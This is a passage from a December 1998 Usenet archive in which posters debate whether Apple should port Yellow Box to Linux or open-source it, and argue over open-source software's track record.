>>> engineers for many years. I still don't understand how your new
>>> requirements reflect on the original feasability of a Linux port.
>>
>> If you're simply asking about the technical feasibility of such a port,
>> obviously it's entirely possible. As soon as you move to questions like "why
> > doesn't Apple do YB for Linux?", then you have to deal with a lot more
> > considerations.
>
> No, I meant what I said. I didn't say "technical feasibility", I said
> "feasibility" [my spelling corrected].
Engineers don't have to justify whether a project will be cost-effective;
that's what management is for. We've managed to agree on this.
An engineer decides whether a project is technically feasible. Managers take
the engineers' estimates (ie, "2 people could do this in about two years") and
decide as to the overall feasibility of the project (ie, "is it likely to be
cost-effective?").
If you don't want to consider just "technical feasibility" (which is what you
just said), then the other factors that management has to consider are
relevant.
>>> Ahhh! You mean to say, "How many people will use YB/Linux instead of Mac
>>> OS X Server for Intel because they insist on running Linux".
>>
>> Not exactly-- I said what I meant.
>
> *sigh*. We're playing f***ing twenty questions, I guess.
No, but probably only because I'll give up before then.
>>> Reread the answer. If they "insist" on running Linux, they wouldn't run
>>> Mac OS X Server anyway, now would they?
>>
>> Of course.
>>
>> And, for the (n + 1)'th time,
>
> 1 + 1 = 2. How frustrated you must be.
Count again-- Sal quoted my question as well.
>> just how many people are going to insist on running Linux instead of MOXS?
>
> My point doesn't involve insistence, although the number you're asking
> about is quite large. My point is about availability. Insistence on
> Linux usage is but one facet of the attractiveness of a Linux port.
To put it simply, the size of the market that Apple would gain by doing a port
is a key consideration for evaluating whether a port is worthwhile. Agreed?
Therefore, the question of how many people would use the YB/Linux but would
refuse to use YB on MOXS is crucial. Agreed?
> Example: How many people will insist on using Windows NT? Well, quite a
> few, I should say. Why? Because they already have NT software, they
> already use NT, they already know NT, they've already approved NT,
> they're dependent on NT in many different ways.
Now, I agree with this.
> The degrees to which these complaints apply to Linux users varies, but
> they are the same complaints.
I think most people that are free to use Linux would also be free to use MOXS.
I don't believe that they have the constraints that NT users do. That makes
their situation different.
>> Can you point to some company and have them claim they'd want to deploy
>> 100 YB seats on Linux but refuse to get MOXS?
>
> I can point to 100 users, if you'd like.
Yes, I would like to see a list of 100 users who would purchase YB for Linux
but would refuse to use MOXS.
> Would you like a Web poll? I might be able to get Rob Malda at Slashdot to
> put it up. Slashdot polls usually garner around 10,000 responses, IIRC.
That'd be great.
> That should probably be of sufficient size to constitute a statistical
> population.
It always depends on what you're looking for and with what precision, but yes.
>> Just like Apple would gain customers making a YB port for _any_ platform you
>> care to name. Why wouldn't Apple port YB to every platform under the sun,
>> from Cray YMP's, SGI's, DEC VACen, or even Apple ]['s?
>
> Why not, indeed? The Cray, VAX, and Apple ][ ports are ridiculous, of
> course, and I know you don't want your arguments to seem ridiculous.
>
>> What's the most fundamental principle of economics?
>
> [1] Leading questions don't engender discussion, Chuck. I hate to have
> to lecture you, but in this case it's simply more conducive to
> conversation if you phrase it "The most fundamental principle of
> economics is *blah*", and let your argument stand on its own merits,
> rather than hiding behind implication.
I'd love to be able to carry on a discussion without them, but that only works
if I can get a meaningful response to my original comments. If I don't, or if
it seems like there is disagreement about obvious, fundamental things, I drop
back towards more basic questions until common ground is reached.
The fundamental principle of economics is "our desires are infinite, but our
resources are finite".
_If_ Apple had infinite resources, they could port their software (YB,
Quicktime, QD/GX, OpenDoc, and everything else anyone ever liked) to every
platform. But they don't. They have finite resources, so they have to decide
what software is valuable, and they have to decide which platforms they are
going to support it on.
Is a YB port to the Apple ][ ridiculous? Of course. Why? Because the
resources it would require don't justify the benefits in return. (Why?
Because it's not technically feasible without godlike hacquery, and the number
of users who are likely to purchase such a thing is zero.)
Is a YB port to Linux (or BSD/I, or FreeBSD, or SGI's IRIX) ridiculous? No.
They seem technically feasible (unlike the Apple ][ port), and there are
probably some number of people who'd like to check such a port out.
Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
responding would use YB for Linux, but would not use YB on MOXS, that would
suggest to Apple that there's a large potential market.
> The tradeoff is that you don't get to play footsie for three postings
> while your reader tries to figure out what you meant by asking the
> question, but hey: life's full of trade-offs. I trust you know what I
> mean [wink].
Exactly. That's all economics is-- deciding which tradeoffs to make in order
to maximize your finite resources.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: I love it!
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 8 Dec 1998 20:12:14 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74k16u$rnt$1@cronkite.cs.umd.edu>
References: <74iq7i$c30$1@remarQ.com> <74j82g$m9h$1@mars.darmstadt.gmd.de> <74jj85$sem$1@crib.corepower.com>
NNTP-Posting-Date: 8 Dec 1998 20:12:14 GMT
Nathan Urban (nurban@crib.corepower.com) wrote:
> In article <74j82g$m9h$1@mars.darmstadt.gmd.de>,
> neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> >
> > Just curious.. has anybody _ever_ used that [OmniWeb] printer icon? Ever? :-)
>
> No, but it looks cool. I say leave it. :)
Sure. See: http://www.cs.umd.edu/users/seanl/ :-)
Sean
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<366D5941.F16608B5@ericsson.com>
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Date: Tue, 8 Dec 1998 20:20:42 GMT
In <366D5941.F16608B5@ericsson.com> Michael Peck wrote:
> I would guess that you meant to qualify "generally effective system".
> Open Source systems are not "generally effective" for certain tasks or
> for certain people. However, I assure you, Open Source system are quite
> "generally effective" for a great many needs. Did you mean to say that
> they weren't "generally effective" as certain types of end-user
> desktops?
No, nothing of the sort, in fact I'd say the few years they've been
around have proven them more able to work under a wider variety of
situations. With massive computing power available for $1000, it pays to
start big and scale down.
What I was referring to is OpenSource as a development systemology.
OpenSource has basically one successful product, Linux. Prior to that
there have been a wide variety of open source projects that went nowhere.
There have been a wide variety that have gone nowhere after it too.
OpenSource have not proven itself to work in a general way.
Thus claiming that if Apple OpenSourced the OS it would suddenly be
successful is premature. The whole field needs more time to work before
anyone will have any sort of predicitve powers about what will happen if
you open software.
> Saying that Open Source could save Apple is premature. Saying that Apple
> needs saving is not.
Although the later may be "post-mature".
Maury
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 15:11:07 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366D95EB.5B43C738@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
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Maury Markowitz wrote:
> No, nothing of the sort, in fact I'd say the few years they've been
> around have proven them more able to work under a wider variety of
> situations. With massive computing power available for $1000, it pays to
> start big and scale down.
>
> What I was referring to is OpenSource as a development systemology.
> OpenSource has basically one successful product, Linux.
This isn't true. Yes, Linux is large and visible, but it is by no means
the only successful product. Example: the PNG library and (somewhat)
related zlib compression library are both completely open source
projects that are used, for instance, in:
PKZip, gzip
Sun's Java JAR file format
Netscape Navigator
Microsoft Internet Explorer
Adobe Photoshop
Perl is, of course, another Open Source project. I've purposely chosen
projects that exists separate from Linux, as I assume that you mean to
lump fairly-Linux-specific projects in with that system.
There's an interesting thing about all of this, though. In my
observation, the more successful and independent Open Source projects
were generally work someone did for some individual purpose. That work
was then given away just because there was little or no incentive to
keep it. There should be a name for these projects, which never really
started as "Open Source", they were just hard work that was given away.
By contrast, there's a large body of work, generally associated with
Linux because of the GNU stamp, that aspires, above all, to achieve
*influence*. Unlike the first kind of project, which has no political
motive, there's a strong organization behind the second kind of project.
And unlike the first kind, which was started to "scratch an itch", as
they say, the second kind is started because it fits the purpose of the
organization in some way or another. For instance, the GNU Wish List.
I'm not demonizing GNU, I'm trying to express coherently the loose but
visible political force embodied in Open Source; after all, if it needs
a name, it's already an organization. Open Source software was Open
Source software before it was given the name; the name became necessary
when its *followers* needed a rallying-cry. The fact that it even has
*followers* (as opposed to simple users) is the distinguishing
characteristic.
In my experience, the first kind of project is more successful, more
open, more common, more portable, and higher quality. It also appeals to
a wider audience. Windows developers who wouldn't touch Linux with a
ten-foot pole are more than happy to use Perl, Python, PNG, and other
useful Open Source tools. Basically, the less religion and culture
associated with a project, the wider its appeal.
This is a cruel but true lesson for many people outside the Open Source
camp, as well.
> Prior to that
> there have been a wide variety of open source projects that went nowhere.
> There have been a wide variety that have gone nowhere after it too.
> OpenSource have not proven itself to work in a general way.
It basically depends on how you choose to measure what "works". I don't
really know what goals you're thinking of, so I can't agree or disagree
with what you're saying.
> Thus claiming that if Apple OpenSourced the OS it would suddenly be
> successful is premature.
Of course.
> The whole field needs more time to work before
> anyone will have any sort of predicitve powers about what will happen if
> you open software.
I don't place much confidence in any sort of predictive powers, but I
think we all need more time to observe the phenomenon that is Open
Source before we begin taking anything for granted.
> > Saying that Open Source could save Apple is premature. Saying that Apple
> > needs saving is not.
>
> Although the later may be "post-mature".
Well, yes, the timing is important. I would have said Apple needed
saving in 1996, and I would still say it needs saving, more than ever.
MJP
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.society.futures
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 23:38:11 GMT
Organization: Airnews.net! at Internet America
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On 8 Dec 1998 21:53:06 GMT, sdm7g@elvis.med.Virginia.EDU (Steven D.
Majewski) wrote:
>In article <F3nxuJ.IzF@T-FCN.Net>,
>Maury Markowitz <maury@remove_this.istar.ca> wrote:
<snip>
>>
>>> Saying that Open Source could save Apple is premature. Saying that Apple
>>> needs saving is not.
>
>I would *not* argue that Apple should immediately Open Source it's OS,
>Yellow Box, and other code. I would argue that Linux and OpenSource
>present both an enourmous opportunity for Apple, and an enourmous
>danger. They need to be thinking about how to handle this -- I think
>their response could make or break the company. I wouldn't want then
>to step into another disaster like their clone licenses -- which looked
>to be a net money looser -- but here, I think the danger of sitting
>still is greater than the danger of doing too much.
>
>
>I think the long term trend -- no matter what either Apple or Microsoft
>do in the short term -- is towards commoditization of the OS and low level
>"plumbing" , and making money from "value added", integration, support
>and branding. Apple is probably in a better position than Microsoft to
>ride this trend if they can figure it out. Without knowing the details
>that only Apple Management knows about costs and revenue and cash flow,
>it would be hard to map out the best response, but Apple needs to fear
>"too little and too late" .
Given the NeXT goodies, Apple is in a unique position to either thrive
because of Linux, or die because of it, in my view. Just like the Net
needed its Netscape to bring it to the masses, just imagine the
momentum Apple would get _overnight_ if it open sourced for the Linux
community one of its various GUI packages.
(If I understand correctly, if they open sourced the mythical 8-)
Yellow Box they would aid both Linux and Mac houses.) Apple would
piggyback on Linux's momentum and suddenly be a serious contender
again, instead of a Quisling vassal state of Bill Gates' Empire.
But....I dunno if Apple would ever do anything like that. As I say
time and again, the only way that is likely to happen is for either a
newly IPO'd Linux company to buy it or either someone like Sun buy
them.
Another thing I've been thinking about--it seems that open source
works best for "essential" items. OS, browsers, etc, are perfect for
open source because they act as the "air" that all the "creatures" or
apps breath. That's why open source is a boon to competition and
eventually will make a lot of money for a lot of companies.
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Date: Wed, 09 Dec 1998 09:56:05 +0100
From: Hugh.Fisher@cs.anu.edu.au (Hugh Fisher)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <Hugh.Fisher-0912980956050001@tog.anu.edu.au>
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Organization: DCS, ANU
In article <F3nKAF.BIp@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> Come no, OpenSource as a concept has been around for mere years, calling
> this the long term view is premature. OpenSource is big because it's
> riding the popularity of Linux and gaining mindshare via that route.
> However it has yet to demonstrate itself as a generally effective system,
> and basically can't until a few more years have passed.
IDG were/are reporting between 4 and 7 million Linux installations in
the past 12 months. Even the low figure exceeds Macintosh unit sales
for the same period. (And several zillion percent more than Yellow Box.)
Open Source may not have demonstrated that it's more effective than
Windows, but an awful lot of people would say the same about MacOS.
Does Apple want some kind of presence in what will (at current growth
rates) shortly be the number 2 computing platform?
Hugh
my opinion only, not those of my employer
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 23:42:22 GMT
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On 8 Dec 1998 16:25:45 GMT, gupta@knim.tm.tta.moc-mirror after @
wrote:
>Sheldon Gartner <a1050pi@yahoo.com> wrote:
>
>>If Apple were to make YB (or OpenStep or the OSX upper level stuff)
>>open source and provide it to the Linux community, that would make
>>Apple's future viable again. Otherwise, they're goose is cooked.
>
>a. What is it that Apple would be selling to run their business ?
1. Support
2. Hardware
3. Apps
>b. If Apple sold YB for Linux like Oracle is providing its
> database (not open source), would that be a better business
> model ?
Wouldn't work. That just be setting up Linux to be DOS for Steve Job's
new empire.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Date: Tue, 08 Dec 1998 16:21:42 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <stevehix-0812981621420001@192.168.1.10>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366CCB11.290A029B@ameritechREMOVETHIS.net>
Organization: Close to None
In article <366CCB11.290A029B@ameritechREMOVETHIS.net>, BR
<benr9y@ameritechREMOVETHIS.net> wrote:
> Charles Swiger wrote:
> <big snip>
> > What's the most fundamental principle of economics?
>
> Gimme,Gimme,Gimme..
>
> [sorry couldn't resist :)]
True, though.
One shouldn't forget, though, that *both* parties are
singing the refrain in harmony, more or less...
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.society.futures
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: Wed, 9 Dec 1998 00:21:11 GMT
In
<6FB879F6E1903191.BEFE322380CEAB57.076EC82EDAE4561F@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> Given the NeXT goodies, Apple is in a unique position to either thrive
> because of Linux, or die because of it, in my view. Just like the Net
> needed its Netscape to bring it to the masses, just imagine the
> momentum Apple would get _overnight_ if it open sourced for the Linux
> community one of its various GUI packages.
What? I mean, can you demonstrate this? Can you put dollar figures on it
that show without any doubt that the cost of porting to the platform would
be paid off, either short or long term? Developer goodwill is one thing,
but $$$ pays the effort!
_I_ think so too, but that's not much of an argument either.
> But....I dunno if Apple would ever do anything like that. As I say
> time and again, the only way that is likely to happen is for either a
> newly IPO'd Linux company to buy it or either someone like Sun buy
> them.
Sun?!? Sun's worse than Apple for NIH. Here's what would happen if Sun
got their hands on YB: they would kill it. Don't believe me? They already
did once. They would go "Java is everything, it already is, here, have
some koolaid".
> Another thing I've been thinking about--it seems that open source
> works best for "essential" items. OS, browsers, etc, are perfect for
> open source because they act as the "air" that all the "creatures" or
> apps breath. That's why open source is a boon to competition and
> eventually will make a lot of money for a lot of companies.
Who? Last I read Apple has several thousand developers who make their
living by writing code for MacOS. Are there several thousand developers
who make their living developing for, say, Linux?
How much? Apple makes about 6 billion a year. Is anyone making 6B on
Linux? Is everyone put together making even 100Million?
Sorry, but this argument is the one that strikes me as premature. Only
time will tell, and Apple's got a lot of debts to feed in the meantime.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<74k742$1fk$1@murdoch.acc.Virginia.EDU>
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Date: Wed, 9 Dec 1998 00:13:38 GMT
In <74k742$1fk$1@murdoch.acc.Virginia.EDU> Steven D. Majewski wrote:
> This is simply not true.
> What is true is that there have been many open source success stories,
> but they tend to be 'geeky', i.e. developer or server oriented rather
> than user or client oriented - examples: compilers like gcc, languages
> like python or perl, graphics frameworks like Tk, internet
> infrastructure servers like BIND and sendmail and apache.
But I would hesitate to call any of these "success stories". I think
you'll be hard pressed to find anyone outside this limited grouping of
people that can even tell you what BIND does, but the same is not true for
Macintosh. The issue here is what Apple gains by "going open", with the
champions of openess simply assuming that making the move will guarentee
success. This is simply not true, there are as may OS failures as there
are successes - even as measured above - consider the HURD for instance.
The issue is whether or not projects become successful by becoming
OpenSourced. The answer, to date, is "no".
Thus as to whether or not Apple should OpenSource their various efforts
has to be based on other arguments. To date they roughly equal out in my
books. For instance OpenSourcing various portions of the OS side of things
would be helpful in terms of device support on the PC side of things. This
is of course assuming Apple wants to have anything to do with a PC side of
things - whether or not WE want it is besides the issue. I think it would
also help mindshare, but Apple's hardly having problems in that area these
days.
So I simply reject any such suggestion that OpenSource breeds success.
It does not.
> ( And, while maybe not as widely used as the above, scientific apps
> like NIH-Image on the Mac, or XlispStat are certainly very successful
> solutions for their users and better than many commercial products. )
But this is a different thing, these are apps that people released for
whatever reason. This is a far cry from OpenSource-as-a-means-to-an-end
like HURD, which is IMHO a resounding failure to date (are you using it as
a primary OS? is anyone you know?).
> What is true is that open source solutions haven't (yet?) proved capable
> of delivering mass market, easy-to-use, shrink wrapped solutions to
> the user.
That _too_.
> Agreed -- but that's the nature of a market driven approach like
> open source. There have also been a lot of commercial products
> that have failed. The difference is which market is being served.
> Commercial products tend to fail after spending millions of development
> dollars for something it turns out no one wants. ( Maybe folks OUGHT
> to want a better solution, but due to network effects, no one wants
> to take a chance unless the benefits clearly and significantly outweigh
> the risks of getting stranded in a technological dead end. )
> Open Source failures may also be common, but they are less costly.
Simply because most people contribute their work for free. This is a bad
metric. Has anyone done a real (if such a thing exists) function point
measure of the projects and their success rates?
> I also agree with that statement, but I'ld insert a "yet"
Well that was my point...
> > Thus claiming that if Apple OpenSourced the OS it would suddenly be
> > successful is premature.
> I think the long term trend -- no matter what either Apple or Microsoft
> do in the short term -- is towards commoditization of the OS and low level
> "plumbing" , and making money from "value added", integration, support
> and branding. Apple is probably in a better position than Microsoft to
> ride this trend if they can figure it out.
Yes. One of these two companies can ditch their own OS and still have a
compelling "this is kinda like an OS, and you'll want to buy it" OS-level
product. I mean, who would buy MFC?!
Maury
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 00:05:42 GMT
Organization: Airnews.net! at Internet America
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On Tue, 08 Dec 1998 20:17:27 GMT, maynard@mr-gateway.internal.net (J.
Maynard Gelinas) wrote:
<snip>
>Of course
>us Linux users know there's a good return for Apple: developer
>mindshare. But developer mindshare doesn't fit neatly on a balance
>sheet.
>
Geeze, why is it so hard to understand how Apple's balance sheet would
do quite well if they open sourced Yellow Box as a gift to the Linux
community.
As it is right now, Apple is slowly fading into computer history.
Yeah, it may sell a bazillian iMacs but Apple is d-e-a-d as we know
it. It's just twiching a bit as the life drains out of it. Now, there
are a few ways for Apple to get itself out of that prediciment.
1. become a post-pc company and provide gizmoes for the Home Area
Network
2. Get bought by someone, like Sun or 3Com, who wants to get into the
Home Area Network biz.
3. Open source Yellow Box, or OpenStep or the upperlevels of OSX.
Apple thrives with #3 because suddenly they're at the center of the
computing world again. (Would yellow box allow for Mac software to run
on Linux?) Apple provides or ports its apps and tech to Linux and
makes a huge amount of money selling support, apps and hardware (I'm
under the impression that it's fairly easy for Linux on Mac hardware
to run apps that also run on PC hardware...that would solve one of
Apple's problems in one fell swoop!) Linux gets a foothold into the
sensitive-poney-tail-man graphic designer set and Apple, well, doesn't
go out of business.
Best of all, Apple pretty much just has to sit there (outside of
porting the apps, which I know might cause them to break a sweat.) So
they can keep being apathic, but at least they make money and get
their self-respect back (Ie, cut the cords to Redmond.)
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<Hugh.Fisher-0912980956050001@tog.anu.edu.au>
Mime-Version: 1.0
Date: Wed, 9 Dec 1998 00:23:24 GMT
In <Hugh.Fisher-0912980956050001@tog.anu.edu.au> Hugh Fisher wrote:
> > riding the popularity of Linux and gaining mindshare via that route.
> > However it has yet to demonstrate itself as a generally effective
> system, and basically can't until a few more years have passed.
>
> IDG were/are reporting between 4 and 7 million Linux installations in
> the past 12 months. Even the low figure exceeds Macintosh unit sales
> for the same period. (And several zillion percent more than Yellow Box.)
Lets see if I can reduce this correctly:
Me: there is only one really good example of OS success, Linux
You: no, there's Linux
Can you name any examples of formerly commercial products that saved or
turned into success by moving them into OpenSource. It hasn't done much
for Netscape, any others?
Maury
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 00:33:14 GMT
Organization: NETworthy Inc.
Distribution: world
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In article <F3nxuJ.IzF@T-FCN.Net> Maury Markowitz,
maury@remove_this.istar.ca writes:
> What I was referring to is OpenSource as a development systemology.
>OpenSource has basically one successful product, Linux. Prior to that
>there have been a wide variety of open source projects that went nowhere.
>There have been a wide variety that have gone nowhere after it too.
>OpenSource have not proven itself to work in a general way.
Maury, the while internet is mostly run on opensource technology:
-Apache
-Sendmail
-DNS (I forget the name of the opensource program that provides most DNS.
Additional major opensource technologies
BSDs
Linux
Samba.
And more are on the way. . .
Matthew Cromer
>
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 00:34:16 GMT
Organization: NETworthy Inc.
Distribution: world
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In article <F3nxuJ.IzF@T-FCN.Net> Maury Markowitz,
maury@remove_this.istar.ca writes:
. . .Whoops, forgot GCC, another major component to the internet, as the
compiler generally used to make the tools I mentioned above.
MC
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 8 Dec 1998 13:59:00 -0800
Organization: Net Squared, Inc.
Message-ID: <74kgut$qdm$1@your.mother.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com> <74jqiu$809$1@nnrp1.dejanews.com>
Charles Swiger wrote in message
>> And...the list of C++ projects that have fulfilled this expectation?
>
>Are you confused, or do you remember what I (and most other
>people around here, for that matter) think of C++?
I use C++ everyday, and I think it is fine. I just hate everyone else's
C++ code :-)
Todd
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 01:05:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74kics$sva$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
In article <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>,
maynard@mr-gateway.internal.net (J. Maynard Gelinas) wrote:
> On 8 Dec 1998 02:20:46 GMT, Sal Denaro <sal@panix.com> wrote:
> Sidenote: Apple would do themselves a _BIG_ favor by helping or
> funding development of XDGS with the GNUSTEP team.
>
False -- see postings within the last fortnight or so from Henry McGilton and
Mike Paquette on why writing your own PostScript interpreter is likely not a
Good Idea.
> Display Ghostscript could be Apple's way out of their dependency
> on Adobe.
>
In a couple of years, perhaps, but they don't have that long. Their chosen
strategy of moving to a new imaging model based on PDF rather than DPS is
better.
> Since Adobe seems committed to killing DPS it's only reasonable that
> Apple should look for some alternative which doesn't require runtime
> licensing fees.
>
They've already done that, it's under development right now.
> Please correct me if I'm wrong here, but wouldn't a YB port to
> Linux require display postscript?
>
Not necessarily; this seems to be a point overlooked in the discussion so
far. It may be that Apple plans in time to port to Linux (although which
Linux, what version etc. are also ponderables -- NT at least presents a
fairly static target) *when the new, royalty-free, display model is
complete*, round about this time next year.
> I sure would like to see YB ported to Linux, and I *DO* think
> this would be to Apple's advantage. Linux has developers mindshare,
> and a large student audience. Given Apple's previous targeting of the
> student populations in public schools and Universities it would seem
> an obvious move for them... however, they don't have much of a track
> record *giving away* software, and I doubt YB would make it in the
> Linux world unless it was released at least free for non-commercial
> use.
>
Actually Apple do give away WebObjects for near-as-dammit free (not much more
than cost of media, manuals etc.) -- $99 for a package which costs up to
$50,000 for commercial use.
> I assume Apple is solving the obe/DPS licensing disaster by
> porting quickdraw? blech.
>
I assume you have more background reading to do.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 8 Dec 1998 16:57:00 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76rims.ao4.jedi@dementia.mishnet>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com>
On 9 Dec 1998 00:34:16 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <F3nxuJ.IzF@T-FCN.Net> Maury Markowitz,
>maury@remove_this.istar.ca writes:
>
>
>. . .Whoops, forgot GCC, another major component to the internet, as the
>compiler generally used to make the tools I mentioned above.
...and as a side effect: game consoles.
OpenSource makes any particular piece of
hardware more valuable as it instantly
widens the audience of it considerably.
Compared to the current Mac Marketshare,
7-20 million users is nothing to sneeze
at.
Making it easier for applications to run
on Linux, makes it much easier for those
deviant types to stop just deviating wrt
system software and deviate from intel
based hardware.
OpenSourcing key user level components
allows there to be a bridge from the PC
to the Mac with little in terms of cost
incurred to Apple.
Grannies are still going to be pushed into
buying PCs (along with the rest of the market)
for the same reasons they always have.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
From: cdouty@netcom.com (Chris Douty)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <cdoutyF3oEAo.886@netcom.com>
Sender: cdouty@netcom9.netcom.com
Organization: Netcom Online Services, Inc.
References: <746k9p$820$1@your.mother.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>
Date: Wed, 9 Dec 1998 02:16:00 GMT
In article <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>,
Sheldon Gartner <a1050pi@yahoo.com> wrote:
>On Tue, 08 Dec 1998 20:17:27 GMT, maynard@mr-gateway.internal.net (J.
>Maynard Gelinas) wrote:
>
><snip>
>
>>Of course
>>us Linux users know there's a good return for Apple: developer
>>mindshare. But developer mindshare doesn't fit neatly on a balance
>>sheet.
>>
>
>Geeze, why is it so hard to understand how Apple's balance sheet would
>do quite well if they open sourced Yellow Box as a gift to the Linux
>community.
Umm, because it wouldn't help Apple's balance sheet? Why the hell should
